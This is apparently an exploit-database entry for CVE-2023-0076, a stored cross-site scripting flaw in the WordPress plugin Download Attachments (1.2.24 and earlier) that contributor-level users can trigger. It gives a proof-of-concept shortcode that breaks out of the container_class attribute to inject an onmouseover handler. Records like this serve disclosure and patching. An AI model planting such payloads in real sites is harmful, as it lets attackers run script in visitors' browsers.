Exploit for Download Attachments <= 1.2.24 - Contributor+ Stored XSS CVE-2023-0076

Name: Exploit for Download Attachments <= 1.2.24 - Contributor+ Stored XSS CVE-2023-0076
Rating: 5 (41 reviews)

2023-02-13 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:A0A44F8A-877C-40DF-A3BA-B9B806FFB772
[download-attachments container_class='" onmouseover="alert(1)"']

Note: An Attachment in an Attachments metabox needs to be present